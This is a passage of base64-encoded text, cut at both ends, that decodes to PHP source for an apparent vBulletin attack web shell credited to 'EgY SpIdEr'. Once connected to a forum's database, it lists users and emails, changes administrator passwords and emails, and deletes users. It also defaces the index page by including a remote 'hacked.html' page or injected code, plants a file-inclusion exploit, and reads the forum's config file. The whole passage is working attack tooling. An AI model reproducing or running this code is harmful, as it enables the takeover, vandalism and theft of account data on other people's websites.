NldCBwYXNzd29yZD0iJyAuICRwYXNzX3NhbHQgLiAnIiB3aGVyZSB1c2VybmFtZT0iJyAuICR2YnVzZXIgLiAnIjsnOw0KJHJlID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KTsNCmlmICgkcmUpDQp7DQplY2hvICc8Zm9udCBzaXplPTM+PGZvbnQgY29sb3I9eWVsbG93PlRoZSBwYXNzIG9mIHRoZSB1c2VyIDwvZm9udD48Zm9udCBjb2xvcj1yZWQ+JyAuICR2YnVzZXIgLiAnPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz4gd2FzIGNoYW5nZWQgdG8gPC9mb250Pjxmb250IGNvbG9yPXJlZD4nIC4gJHZicGFzcyAuICc8L2ZvbnQ+PGJyPkJhY2sgdG8gPGEgaHJlZj0iPyI+U2hlbGw8L2E+PC9mb250Pic7DQp9IGVsc2Ugew0KZWNobyAnPGZvbnQgc2l6ZT0zPjxmb250IGNvbG9yPXJlZD5GYWlsZWQgdG8gY2hhbmdlIFBhc3NXb3JkPC9mb250PjwvZm9udD4nOw0KfQ0KfQ0KfQ0KaWYoaXNzZXQoJF9QT1NUWydob3N0J10pICYmIGlzc2V0KCRfUE9TVFsndXNlciddKSAmJiBpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgaXNzZXQoJF9QT1NUWydkYiddKSAmJiAkYWN0PT0ibG9naW4iKQ0Kew0KJGhvc3QgPSAkX1BPU1RbJ2hvc3QnXTsNCiR1c2VyID0gJF9QT1NUWyd1c2VyJ107DQokcGFzcyA9ICRfUE9TVFsncGFzcyddOw0KJGRiID0gJF9QT1NUWydkYiddOw0KbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcykgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCB1c2VyPC9mb250PicpOw0KbXlzcWxfc2VsZWN0X2RiKCRkYikgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCBEQjwvZm9udD4nKTsNCmlmICgkcGFzcyA9PSAnJykNCnsNCiRucGFzcyA9ICdOVUxMJzsNCn0gZWxzZSB7DQokbnBhc3MgPSAkcGFzczsNCn0NCmVjaG8nPGZvbnQgc2l6ZT0zPllvdSBhcmUgY29ubmVjdGVkIHdpdGggdGhlIG15c3FsIHNlcnZlciBvZiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRob3N0IC4gJzwvZm9udD4gYnkgdXNlciA6IDxmb250IGNvbG9yPXllbGxvdz4nIC4gJHVzZXIgLiAnPC9mb250PiAsIHBhc3MgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRucGFzcyAuICc8L2ZvbnQ+IGFuZCBzZWxlY3RlZCBEQiB3aXRoIHRoZSBuYW1lIDxmb250IGNvbG9yPXllbGxvdz4nIC4gJGRiIC4gJzwvZm9udD48L2ZvbnQ+JzsNCj8+DQo8aHIgY29sb3I9IiMwMEZGMDAiIC8+DQo8Zm9ybSBuYW1lPSJjaGFuZ2VwYXNzIiBhY3Rpb249Ij9hY3Q9cHN3IiBtZXRob2Q9InBvc3QiPg0KPHRhYmxlIGJvcmRlcj0iMSIgYmdjb2xvcj0iIzAwMDAwMCIgYm9yZGVyY29sb3I9ImxpbWUiDQpib3JkZXJjb2xvcmRhcms9ImxpbWUiIGJvcmRlcmNvbG9ybGlnaHQ9ImxpbWUiPg0KPHRoPjo6Ojo6Q2hhbmdlIFVzZXIgUGFzc3dvcmQ6Ojo6OjwvdGg+PHRoPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9IkNoYW5nZSIgdmFsdWU9IkNoYW5nZSIgLz48L3RoPg0KPHRyPjx0ZD5Vc2VyIDogPC90ZD48dGQ+PGlucHV0IG5hbWU9InZidXNlciIgdmFsdWU9ImFkbWluIiAvPjwvdGQ+PC90cj4NCjx0cj48dGQ+UGFzcyA6IDwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJ2YnBhc3MiIHZhbHVlPSJlZ3kgc3BpZGVyIiAvPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8Pw0KZWNobyc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJob3N0IiB2YWx1ZT0iJyAuICRob3N0IC4gJyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idXNlciIgdmFsdWU9IicgLiAkdXNlciAuICciPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhc3MiIHZhbHVlPSInIC4gJHBhc3MgLiAnIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkYiIgdmFsdWU9IicgLiAkZGIgLiAnIj4nOw0KPz4NCjwvZm9ybT4NCjxociBjb2xvcj0iIzAwRkYwMCIgLz4NCjxmb3JtIG5hbWU9ImNoYW5nZXBhc3MiIGFjdGlvbj0iP2FjdD1tYWlsIiBtZXRob2Q9InBvc3QiPg0KPHRhYmxlIGJvcmRlcj0iMSIgYmdjb2xvcj0iIzAwMDAwMCIgYm9yZGVyY29sb3I9ImxpbWUiDQpib3JkZXJjb2xvcmRhcms9ImxpbWUiIGJvcmRlcmNvbG9ybGlnaHQ9ImxpbWUiPg0KPHRoPjo6Ojo6Q2hhbmdlIFVzZXIgRS1NQUlMOjo6Ojo8L3RoPjx0aD48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJDaGFuZ2UiIHZhbHVlPSJDaGFuZ2UiIC8+PC90aD4NCjx0cj48dGQ+VXNlciA6IDwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJ2YnVzZXIiIHZhbHVlPSJhZG1pbiIgLz48L3RkPjwvdHI+DQo8dHI+PHRkPk1BSUwgOiA8L3RkPjx0ZD48aW5wdXQgbmFtZT0idmJtYWlsIiB2YWx1ZT0iZWd5X3NwaWRlckBob3RtYWlsLmNvbSIgLz48L3RkPjwvdHI+DQo8L3RhYmxlPg0KPD8NCmVjaG8nPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iaG9zdCIgdmFsdWU9IicgLiAkaG9zdCAuICciPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InVzZXIiIHZhbHVlPSInIC4gJHVzZXIgLiAnIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXNzIiB2YWx1ZT0iJyAuICRwYXNzIC4gJyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZGIiIHZhbHVlPSInIC4gJGRiIC4gJyI+JzsNCj8+DQo8L2Zvcm0+DQo8aHIgY29sb3I9IiMwMEZGMDAiIC8+DQo8Zm9ybSBuYW1lPSJjaGFuZ2VwYXNzIiBhY3Rpb249Ij9hY3Q9ZGVsIiBtZXRob2Q9InBvc3QiPg0KPHRhYmxlIGJvcmRlcj0iMSIgYmdjb2xvcj0iIzAwMDAwMCIgYm9yZGVyY29sb3I9ImxpbWUiDQpib3JkZXJjb2xvcmRhcms9ImxpbWUiIGJvcmRlcmNvbG9ybGlnaHQ9ImxpbWUiPg0KPHRoPjo6Ojo6RGVsZXRlIGEgdXNlcjo6Ojo6PC90aD48dGg+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iQ2hhbmdlIiB2YWx1ZT0iQ2hhbmdlIiAvPjwvdGg+DQo8dHI+PHRkPlVzZXIgOiA8L3RkPjx0ZD48aW5wdXQgbmFtZT0idmJ1c2VyIiB2YWx1ZT0iYWRtaW4iIC8+PC90ZD48L3RyPg0KPC90YWJsZT4NCjw/DQplY2hvJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Imhvc3QiIHZhbHVlPSInIC4gJGhvc3QgLiAnIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ1c2VyIiB2YWx1ZT0iJyAuICR1c2VyIC4gJyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGFzcyIgdmFsdWU9IicgLiAkcGFzcyAuICciPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRiIiB2YWx1ZT0iJyAuICRkYiAuICciPic7DQo/Pg0KPC9mb3JtPg0KPGhyIGNvbG9yPSIjMDBGRjAwIiAvPg0KPGZvcm0gbmFtZT0iY2hhbmdlcGFzcyIgYWN0aW9uPSI/YWN0PWluYyIgbWV0aG9kPSJwb3N0Ij4NCjx0YWJsZSBib3JkZXI9IjEiIGJnY29sb3I9IiMwMDAwMDAiIGJvcmRlcmNvbG9yPSJsaW1lIg0KYm9yZGVyY29sb3JkYXJrPSJsaW1lIiBib3JkZXJjb2xvcmxpZ2h0PSJsaW1lIj4NCjx0aD46Ojo6OkNoYW5nZSBJbmRleCBieSBJbmNsdXNpb24oTm90IFBMKEVnWSBTcElkRXIpKTo6Ojo6PC90aD48dGg+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iQ2hhbmdlIiB2YWx1ZT0iQ2hhbmdlIiAvPjwvdGg+DQo8dHI+PHRkPkluZGV4IExpbmsgOiA8L3RkPjx0ZD48aW5wdXQgbmFtZT0ibGluayIgdmFsdWU9Imh0dHA6Ly93d3cuZWd5c3BpZGVyLmV1L2hhY2tlZC5odG1sIiAvPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8Pw0KZWNobyc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJob3N0IiB2YWx1ZT0iJyAuICRob3N0IC4gJyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idXNlciIgdmFsdWU9IicgLiAkdXNlciAuICciPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhc3MiIHZhbHVlPSInIC4gJHBhc3MgLiAnIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkYiIgdmFsdWU9IicgLiAkZGIgLiAnIj4nOw0KPz4NCjwvZm9ybT4NCjxociBjb2xvcj0iIzAwRkYwMCIgLz4NCjxmb3JtIG5hbWU9ImNoYW5nZXBhc3MiIGFjdGlvbj0iP2FjdD1jb2RlIiBtZXRob2Q9InBvc3QiPg0KPHRhYmxlIGJvcmRlcj0iMSIgYmdjb2xvcj0iIzAwMDAwMCIgYm9yZGVyY29sb3I9ImxpbWUiDQpib3JkZXJjb2xvcmRhcms9ImxpbWUiIGJvcmRlcmNvbG9ybGlnaHQ9ImxpbWUiPg0KPHRoPjo6Ojo6Q2hhbmdlIEluZGV4IGJ5IENvZGUoQWxsIEVkaXRpb24pOjo6Ojo8L3RoPjx0aD48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJDaGFuZ2UiIHZhbHVlPSJDaGFuZ2UiIC8+PC90aD4NCjx0cj48dGQ+SW5kZXggQ29kZSA6IDwvdGQ+PHRkPjx0ZXh0YXJlYSBuYW1lPSJjb2RlIiBjb2xzPTYwIHJvd3M9MjA+PC90ZXh0YXJlYT48L3RkPjwvdHI+DQo8L3RhYmxlPg0KPD8NCmVjaG8nPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iaG9zdCIgdmFsdWU9IicgLiAkaG9zdCAuICciPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InVzZXIiIHZhbHVlPSInIC4gJHVzZXIgLiAnIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXNzIiB2YWx1ZT0iJyAuICRwYXNzIC4gJyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZGIiIHZhbHVlPSInIC4gJGRiIC4gJyI+JzsNCj8+DQo8L2Zvcm0+DQo8aHIgY29sb3I9IiMwMEZGMDAiIC8+DQo8Zm9ybSBuYW1lPSJjaGFuZ2VwYXNzIiBhY3Rpb249Ij9hY3Q9c2hlbGwiIG1ldGhvZD0icG9zdCI+DQo8dGFibGUgYm9yZGVyPSIxIiBiZ2NvbG9yPSIjMDAwMDAwIiBib3JkZXJjb2xvcj0ibGltZSINCmJvcmRlcmNvbG9yZGFyaz0ibGltZSIgYm9yZGVyY29sb3JsaWdodD0ibGltZSI+DQo8dGg+Ojo6OjpJbmplY3QgRmlsZUluY2x1c2lvbiBFeHBsb2l0KE5PVCBQTChBTC1NQVNTWUEpKTo6Ojo6PC90aD48dGg+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iQ2hhbmdlIiB2YWx1ZT0iQ2hhbmdlIiAvPjwvdGg+DQo8dHI+PHRkPlZhcmlhYmxlIDogPC90ZD48dGQ+PGlucHV0IG5hbWU9InZhciIgdmFsdWU9InNoZWxsIiAvPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8Pw0KZWNobyc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJob3N0IiB2YWx1ZT0iJyAuICRob3N0IC4gJyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idXNlciIgdmFsdWU9IicgLiAkdXNlciAuICciPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhc3MiIHZhbHVlPSInIC4gJHBhc3MgLiAnIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkYiIgdmFsdWU9IicgLiAkZGIgLiAnIj4nOw0KPz4NCjwvZm9ybT4NCjw/DQp9DQppZiAoJGFjdCA9PSAnJyl7DQo/Pg0KPGZvcm0gbmFtZT0ibXlmb3JtIiBhY3Rpb249Ij9hY3Q9bG9naW4iIG1ldGhvZD0icG9zdCI+DQo8dGFibGUgYm9yZGVyPSIxIiBiZ2NvbG9yPSIjMDAwMDAwIiBib3JkZXJjb2xvcj0ibGltZSINCmJvcmRlcmNvbG9yZGFyaz0ibGltZSIgYm9yZGVyY29sb3JsaWdodD0ibGltZSI+DQo8dGg+Ojo6OjpEQVRBQkFTRSBDT05GSUc6Ojo6OjwvdGg+PHRoPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9IkNvbm5lY3QiIHZhbHVlPSJDb25uZWN0IiAvPjwvdGg+PHRyPjx0ZD5Ib3N0IDogPC90ZD48dGQ+PGlucHV0IG5hbWU9Imhvc3QiIHZhbHVlPSJsb2NhbGhvc3QiIC8+PC90ZD48L3RyPg0KPHRyPjx0ZD5Vc2VyIDogPC90ZD48dGQ+PGlucHV0IG5hbWU9InVzZXIiIHZhbHVlPSJyb290IiAvPjwvdGQ+PC90cj4NCjx0cj48dGQ+UGFzcyA6IDwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJwYXNzIiB2YWx1ZT0iIiAvPjwvdGQ+PC90cj4NCjx0cj48dGQ+TmFtZSA6IDwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJkYiIgdmFsdWU9InZiIiAvPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8L2Zvcm0+DQoNCjw/DQp9DQppZiAoJGFjdCA9PSAnbHN0JyAmJiBpc3NldCgkX1BPU1RbJ3VzZXInXSkgJiYgaXNzZXQoJF9QT1NUWydwYXNzJ10pICYmIGlzc2V0KCRfUE9TVFsnaG9zdCddKSAmJiBpc3NldCgkX1BPU1RbJ2RiJ10pKQ0Kew0KJGhvc3QgPSAkX1BPU1RbJ2hvc3QnXTsNCiR1c2VyID0gJF9QT1NUWyd1c2VyJ107DQokcGFzcyA9ICRfUE9TVFsncGFzcyddOw0KJGRiID0gJF9QT1NUWydkYiddOw0KbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcykgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCB1c2VyPC9mb250PicpOw0KbXlzcWxfc2VsZWN0X2RiKCRkYikgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCBEQjwvZm9udD4nKTsNCmlmICgkcGFzcyA9PSAnJykNCnsNCiRucGFzcyA9ICdOVUxMJzsNCn0gZWxzZSB7DQokbnBhc3MgPSAkcGFzczsNCn0NCmVjaG8nPGZvbnQgc2l6ZT0zPllvdSBhcmUgY29ubmVjdGVkIHdpdGggdGhlIG15c3FsIHNlcnZlciBvZiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRob3N0IC4gJzwvZm9udD4gYnkgdXNlciA6IDxmb250IGNvbG9yPXllbGxvdz4nIC4gJHVzZXIgLiAnPC9mb250PiAsIHBhc3MgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRucGFzcyAuICc8L2ZvbnQ+IGFuZCBzZWxlY3RlZCBEQiB3aXRoIHRoZSBuYW1lIDxmb250IGNvbG9yPXllbGxvdz4nIC4gJGRiIC4gJzwvZm9udD48L2ZvbnQ+JzsNCj8+DQo8aHIgY29sb3I9IiMwMEZGMDAiIC8+DQo8Pw0KJHJlID0gbXlzcWxfcXVlcnkoJ3NlbGVjdCAqIGZyb20gdXNlcicpOw0KZWNobyc8dGFibGUgYm9yZGVyPSIxIiBiZ2NvbG9yPSIjMDAwMDAwIiBib3JkZXJjb2xvcj0ibGltZSINCmJvcmRlcmNvbG9yZGFyaz0ibGltZSIgYm9yZGVyY29sb3JsaWdodD0ibGltZSI+PHRoPklEPC90aD48dGg+VVNFUk5BTUU8L3RoPjx0aD5FTUFJTDwvdGg+JzsNCndoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlKSkNCnsNCmVjaG8nPHRyPjx0ZD4nIC4gJHJvd1sndXNlcmlkJ10gLiAnPC90ZD48dGQ+JyAuICRyb3dbJ3VzZXJuYW1lJ10gLiAnPC90ZD48dGQ+JyAuICRyb3dbJ2VtYWlsJ10gLiAnPC90ZD48L3RyPic7DQp9DQplY2hvJzwvdGFibGU+JzsNCj8+DQo8dGFibGUgYm9yZGVyPSIxIiBiZ2NvbG9yPSIjMDAwMDAwIiBib3JkZXJjb2xvcj0ibGltZSINCmJvcmRlcmNvbG9yZGFyaz0ibGltZSIgYm9yZGVyY29sb3JsaWdodD0ibGltZSI+PHRoPjw/DQokY291bnQgPSBteXNxbF9udW1fcm93cygkcmUpOw0KZWNobyAnTnVtYmVyIG9mIHVzZXJzIHJlZ2lzdGVyZWQgaXMgOiBbICcgLiAkY291bnQgLiAnIF0nOw0KID8+PC90aD48L3RhYmxlPg0KPD8NCn0NCmlmICgkYWN0ID09ICd1c2Vycycpew0KPz4NCiA8Zm9ybSBuYW1lPSJteWZvcm0iIGFjdGlvbj0iP2FjdD1sc3QiIG1ldGhvZD0icG9zdCI+DQo8dGFibGUgYm9yZGVyPSIxIiBiZ2NvbG9yPSIjMDAwMDAwIiBib3JkZXJjb2xvcj0ibGltZSINCmJvcmRlcmNvbG9yZGFyaz0ibGltZSIgYm9yZGVyY29sb3JsaWdodD0ibGltZSI+DQo8dGg+Ojo6OjpEQVRBQkFTRSBDT05GSUc6Ojo6OjwvdGg+PHRoPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9IkNvbm5lY3QiIHZhbHVlPSJDb25uZWN0IiAvPjwvdGg+PHRyPjx0ZD5Ib3N0IDogPC90ZD48dGQ+PGlucHV0IG5hbWU9Imhvc3QiIHZhbHVlPSJsb2NhbGhvc3QiIC8+PC90ZD48L3RyPg0KPHRyPjx0ZD5Vc2VyIDogPC90ZD48dGQ+PGlucHV0IG5hbWU9InVzZXIiIHZhbHVlPSJyb290IiAvPjwvdGQ+PC90cj4NCjx0cj48dGQ+UGFzcyA6IDwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJwYXNzIiB2YWx1ZT0iIiAvPjwvdGQ+PC90cj4NCjx0cj48dGQ+TmFtZSA6IDwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJkYiIgdmFsdWU9InZiIiAvPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8L2Zvcm0+DQo8Pw0KfQ0KaWYgKCRhY3Q9PSdjb25maWcnKQ0Kew0KPz4NCjxmb3JtIG5hbWU9Im15Zm9ybSIgYWN0aW9uPSI/YWN0PXJlY29uZmlnIiBtZXRob2Q9InBvc3QiPg0KPHRhYmxlIGJvcmRlcj0iMSIgYmdjb2xvcj0iIzAwMDAwMCIgYm9yZGVyY29sb3I9ImxpbWUiDQpib3JkZXJjb2xvcmRhcms9ImxpbWUiIGJvcmRlcmNvbG9ybGlnaHQ9ImxpbWUiPg0KPHRoPjo6Ojo6Q09ORklHIFBBVEg6Ojo6OjwvdGg+PHRoPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9IkNvbm5lY3QiIHZhbHVlPSJSZWFkIiAvPjwvdGg+DQo8dHI+PHRkPlBBVEggOiA8L3RkPjx0ZD48aW5wdXQgbmFtZT0icGF0aCIgdmFsdWU9Ii9ob21lL2hhY2tlZC9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwIiAvPjwvdGQ+PC90cj48L3RhYmxlPjwvZm9ybT4NCjw/DQp9DQppZiAoJGFjdD09J2luZGV4JykNCnsNCi8vIEluZGV4IEVkaXRvcjxIVE1MIEVkaXRvcj4NCj8+DQo8c2NyaXB0IGxhbmd1YWdlPSdqYXZhc2NyaXB0Jz4NCmZ1bmN0aW9uIGxpbmsoKXsNCnZhciBYID0gcHJvbXB0KCJFbnRlclRleHQiLCIiKQ0KaWYgKFg9PSIiIHwgWD09bnVsbCApIHsNCnJldHVybjsNCn0NCnZhciB5ID0gcHJvbXB0KCJFbnRlcmxpbmsiLCIiKQ0KaWYgKHk9PSIiIHwgeT09bnVsbCApIHsNCnJldHVybjsNCn0NCg0KaW5kZXhmb3JtLmluZGV4LnZhbHVlPWluZGV4Zm9ybS5pbmRleC52YWx1ZSArICI8YSBocmVmPSIgKyB5ICsiPiIrWCsiPC9hPiI7DQoNCn0NCg0KZnVuY3Rpb24gcmlnaHQoKXsNCnZhciBYID0gcHJvbXB0KCJFbnRlciBUZXh0IiwiIikNCmlmIChYPT0iIiB8IFg9PW51bGwgKSB7DQpyZXR1cm47DQp9DQppbmRleGZvcm0uaW5kZXgudmFsdWU9aW5kZXhmb3JtLmluZGV4LnZhbHVlICsgIjxwIGFsaWduPSdyaWdodCc+IitYKyI8L3A+IjsNCg0KfQ0KZnVuY3Rpb24gbGVmdCgpew0KdmFyIFggPSBwcm9tcHQoIkVudGVyIFRleHQiLCIiKQ0KaWYgKFg9PSIiIHwgWD09bnVsbCApIHsNCnJldHVybjsNCn0NCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPHAgYWxpZ249J2xlZnQnPiIrWCsiPC9wPiI7DQoNCn0NCmZ1bmN0aW9uIGNlbnRlcigpew0KdmFyIFggPSBwcm9tcHQoIkVudGVyIFRleHQiLCIiKQ0KaWYgKFg9PSIiIHwgWD09bnVsbCApIHsNCnJldHVybjsNCn0NCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPGNlbnRlcj4iK1grIjwvY2VudGVyPiI7DQoNCn0NCmZ1bmN0aW9uIGNvbG91cigpew0KdmFyIFggPSBwcm9tcHQoIkVudGVyVGV4dCIsIiIpDQppZiAoWD09IiIgfCBYPT1udWxsICkgew0KcmV0dXJuOw0KfQ0KdmFyIHkgPSBwcm9tcHQoIkVudGVyQ29sb3VyIiwiIikNCmlmICh5PT0iIiB8IHk9PW51bGwgKSB7DQpyZXR1cm47DQp9DQoNCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPGZvbnQgY29sb3I9IiArIHkgKyI+IitYKyI8L2ZvbnQ+IjsNCg0KfQ0KZnVuY3Rpb24gYigpew0KdmFyIFggPSBwcm9tcHQoIkVudGVyIFRleHQiLCIiKQ0KaWYgKFg9PSIiIHwgWD09bnVsbCApIHsNCnJldHVybjsNCn0NCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPEI+IitYKyI8L0I+IjsNCg0KfQ0KZnVuY3Rpb24gdSgpew0KdmFyIFggPSBwcm9tcHQoIkVudGVyIFRleHQiLCIiKQ0KaWYgKFg9PSIiIHwgWD09bnVsbCApIHsNCnJldHVybjsNCn0NCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPFU+IitYKyI8L1U+IjsNCg0KfQ0KZnVuY3Rpb24gaSgpew0KdmFyIFggPSBwcm9tcHQoIkVudGVyIFRleHQiLCIiKQ0KaWYgKFg9PSIiIHwgWD09bnVsbCApIHsNCnJldHVybjsNCn0NCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPEk+IitYKyI8L0k+IjsNCg0KfQ0KZnVuY3Rpb24gbWFyKCl7DQp2YXIgWCA9IHByb21wdCgiRW50ZXIgVGV4dCIsIiIpDQppZiAoWD09IiIgfCBYPT1udWxsICkgew0KcmV0dXJuOw0KfQ0KaW5kZXhmb3JtLmluZGV4LnZhbHVlPWluZGV4Zm9ybS5pbmRleC52YWx1ZSArICI8bWFycXVlZT4iK1grIjwvbWFycXVlZT4iOw0KDQp9DQpmdW5jdGlvbiBpbWcoKXsNCnZhciBYID0gcHJvbXB0KCJFbnRlciBsaW5rIiwiIikNCmlmIChYPT0iIiB8IFg9PW51bGwgKSB7DQpyZXR1cm47DQp9DQppbmRleGZvcm0uaW5kZXgudmFsdWU9aW5kZXhmb3JtLmluZGV4LnZhbHVlICsgIjxpbWcgc3JjPSciK1grIic+PC9pbWc+IjsNCg0KfQ0KZnVuY3Rpb24gYnIoKXsNCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPGJyPiI7DQoNCn0NCjwvc2NyaXB0Pg0KPHRhYmxlIGJvcmRlcj0iMSIgYm9yZGVyY29sb3I9IiMwMDgwMDAiIGJvcmRlcmNvbG9yZGFyaz0iIzAwODAwMCINCmJvcmRlcmNvbG9ybGlnaHQ9IiMwMDgwMDAiPjx0aD48YSBvbmNsaWNrPSdyZXR1cm4gY2VudGVyKCknPkNlbnRlcjwvYT4gfHx8IDxhIG9uY2xpY2s9J3JldHVybiBsZWZ0KCknPkxlZnQ8L2E+IHx8fCA8YSBvbmNsaWNrPSdyZXR1cm4gcmlnaHQoKSc+cmlnaHQ8L2E+IHx8fCA8YSBvbmNsaWNrPSdyZXR1cm4gYigpJz5Cb2xkPC9hPiB8fHwgPGEgb25jbGljaz0ncmV0dXJuIHUoKSc+VW5kZXJMaW5lPC9hPiB8fHwgPGEgb25jbGljaz0ncmV0dXJuIGkoKSc+SXRhbGljPC9hPiB8fHwgPGEgb25jbGljaz0ncmV0dXJuIGJyKCknPk5ld0xpbmU8L2E+IHx8fCA8YSBvbmNsaWNrPSdyZXR1cm4gY29sb3VyKCknPkNvbG91cjwvYT4gfHx8IDxhIG9uY2xpY2s9J3JldHVybiBtYXIoKSc+TWFycXVlZSB8fHwgPGEgb25jbGljaz0ncmV0dXJuIGltZygpJz5QaWN0dXJlPC9hPiB8fHwgPGEgb25jbGljaz0ncmV0dXJuIGxpbmsoKSc+TGluazwvYT48L2E+PC90aD48dHI+PFREPg0KPGNlbnRlcj48Zm9ybSBuYW1lPSJpbmRleGZvcm0iIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPjx0ZXh0YXJlYSBuYW1lPSdpbmRleCcgcm93cz0nMTQnIGNvbHM9Jzg2Jz48L3RleHRhcmVhPjwvcD4NCjwvZm9ybT48L2Zvcm0+PC9jZW50ZXI+DQo8L1REPjwvdHI+PHRyPjx0ZD5Db3B5IFRoZSBDb2RlIGFmdGVyIEZpbmlzaGluZyB5b3VyIGluZGV4PC90ZD48L3RyPjwvdGFibGU+DQo8Pw0KfQ0KPz4NCjxociBjb2xvcj0iIzAwRkYwMCIgLz4NCjx0YWJsZSBib3JkZXI9IjEiIGJnY29sb3I9IiMwMDAwMDAiIGJvcmRlcmNvbG9yPSJsaW1lIg0KYm9yZGVyY29sb3JkYXJrPSJsaW1lIiBib3JkZXJjb2xvcmxpZ2h0PSJsaW1lIj48dHI+PHRkPjxhIGhyZWY9Ij8iPk1haW4gU2hlbGw8L2E+PC90ZD48dGQ+PGEgaHJlZj0iP2FjdD11c2VycyI+TGlzdCBVc2VyczwvYT48L3RkPjx0ZD48YSBocmVmPSI/YWN0PWluZGV4Ij5JbmRleCBNYWtlcjwvYT48L3RkPjx0ZD48YSBocmVmPSI/YWN0PWNvbmZpZyI+UmVhZENvbmZpZzwvYT48L3RkPjwvdHI+PC90YWJsZT4NCjxwIGFsaWduPSJjZW50ZXIiPnd3dy5lZ3lzcGlkZXIuZXU8L3A+DQo8RElWIGlkPSJuIiBhbGlnbj0iY2VudGVyIj4NCiAgPFRBQkxFIGJvcmRlckNvbG9yPSIjMTExMTExIiBjZWxsU3BhY2luZz0iMCIgY2VsbFBhZGRpbmc9IjAiIHdpZHRoPSIxMDAlIiBib3JkZXI9IjEiPg0KICAgIDxUQk9EWT4NCiAgICAgIDxUUj4NCiAgICAgICAgPFREIHdpZHRoPSIxMDAlIj48cCBhbGlnbj0iY2VudGVyIj48U1RST05HPm8tLS1bIEVnWV9TcElkRXIgfCB8IDxBIGVneV9zcGlkZXJAaG90bWFpbC5jb20+ZWd5X3NwaWRlckBob3RtYWlsLmNvbTwv